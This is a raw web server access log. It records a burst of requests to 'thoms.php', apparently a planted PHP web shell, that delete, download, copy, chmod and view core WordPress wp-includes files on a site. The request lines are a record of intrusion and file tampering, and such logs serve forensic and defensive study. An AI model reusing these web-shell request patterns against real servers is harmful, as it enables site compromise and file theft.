45.135.193.11 - - [11/Sep/2026:23:11:13 -0400] "GET /thoms.php?del=class-avif-info.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:14 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:14 -0400] "GET /thoms.php?chmod=feed-rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:14 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:14 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 11973 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?del=html-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=html-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57830 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57938 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14561 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:15 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19691 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40645 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61346 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 11969 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?chmod=ai-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?dl=taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?del=theme-templates.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61406 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?chmod=block-supports&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?dl=block-bindings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?del=block-patterns.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:17 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57890 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffunctions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffunctions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 11985 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?chmod=block-bindings&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?dl=cron.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57930 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20127 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?del=block-supports&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=block-supports&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?del=customize&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=customize&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16912 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?chmod=comment-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?del=class-pop3.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?dl=class-wp-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 11970 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100287 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18074 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:19 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?dl=revision.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?del=taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?del=version.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=version.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17476 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:20 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fl10n.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fl10n.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13617 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22687 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?chmod=class-feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21092 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?del=session.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57913 "http://163.245.207.76:443/thoms.php?del=session.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
